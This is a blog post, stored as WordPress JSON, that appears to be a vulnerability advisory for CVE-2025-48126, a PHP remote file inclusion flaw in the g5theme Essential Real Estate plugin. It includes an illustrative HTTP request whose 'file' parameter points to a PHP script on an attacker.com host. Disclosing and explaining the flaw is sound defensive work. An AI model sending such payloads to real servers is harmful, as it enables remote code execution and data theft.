{"id":54069,"date":"2025-06-22T16:17:44","date_gmt":"2025-06-22T16:17:44","guid":{"rendered":""},"modified":"2025-07-05T11:45:02","modified_gmt":"2025-07-05T17:45:02","slug":"cve-2025-48126-php-remote-file-inclusion-vulnerability-in-g5theme-essential-real-estate","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-48126-php-remote-file-inclusion-vulnerability-in-g5theme-essential-real-estate\/","title":{"rendered":"CVE-2025-48126: PHP Remote File Inclusion Vulnerability in g5theme Essential Real Estate<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The Common Vulnerabilities and Exposures (CVE) system has identified a significant security vulnerability tagged as CVE-2025-48126. This particular vulnerability, an instance of PHP Remote File Inclusion, affects the Essential Real Estate plugin by g5theme. The plugin, commonly used in real estate<\/a> websites for various functionalities, suffers from an Improper Control of Filename for Include\/Require Statement in its PHP Program.
\nThis vulnerability is significant due to its potential for system<\/a> compromise and data leakage. Malicious actors could exploit this vulnerability to execute arbitrary<\/a> PHP code on the server-side. Given the widespread use of the Essential Real Estate plugin in the real estate industry, the impact of this vulnerability could be extensive<\/a> if left unaddressed.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-48126
\nSeverity: High (CVSS: 8.1)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System compromise and potential<\/a> data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

g5theme Essential Real Estate<\/a> | n\/a through 5.2.1<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability arises from the improper<\/a> control of filenames in Include\/Require statements in the PHP program of Essential Real Estate. This improper control allows remote files to be included, leading to Remote File Inclusion<\/a> (RFI). In this scenario, an attacker could manipulate the PHP code that the server executes<\/a>.
\nBy injecting a malicious path into the vulnerable<\/a> parameter, the attacker can cause the server to include a remote file containing malicious PHP code. Once included, this code is executed by the server, potentially leading to system<\/a> compromise or data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a conceptual example of what exploiting this vulnerability could look like. The attacker sends a malicious HTTP request<\/a> like the following:<\/p>\n

GET \/realestate.php?file=http:\/\/attacker.com\/malicious.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n
In this example, `realestate.php` is the vulnerable script<\/a>, and `file` is the vulnerable parameter. The attacker has set the `file` parameter to a URL that points to a PHP file<\/a> (`malicious.php`) under their control. The server then fetches and executes the malicious PHP script, leading to the potential compromise of the system<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The Common Vulnerabilities and Exposures (CVE) system has identified a significant security vulnerability tagged as CVE-2025-48126. This particular vulnerability, an instance of PHP Remote File Inclusion, affects the Essential Real Estate plugin by g5theme. The plugin, commonly used in real estate websites for various functionalities, suffers from an Improper Control of Filename for Include\/Require […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-54069","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t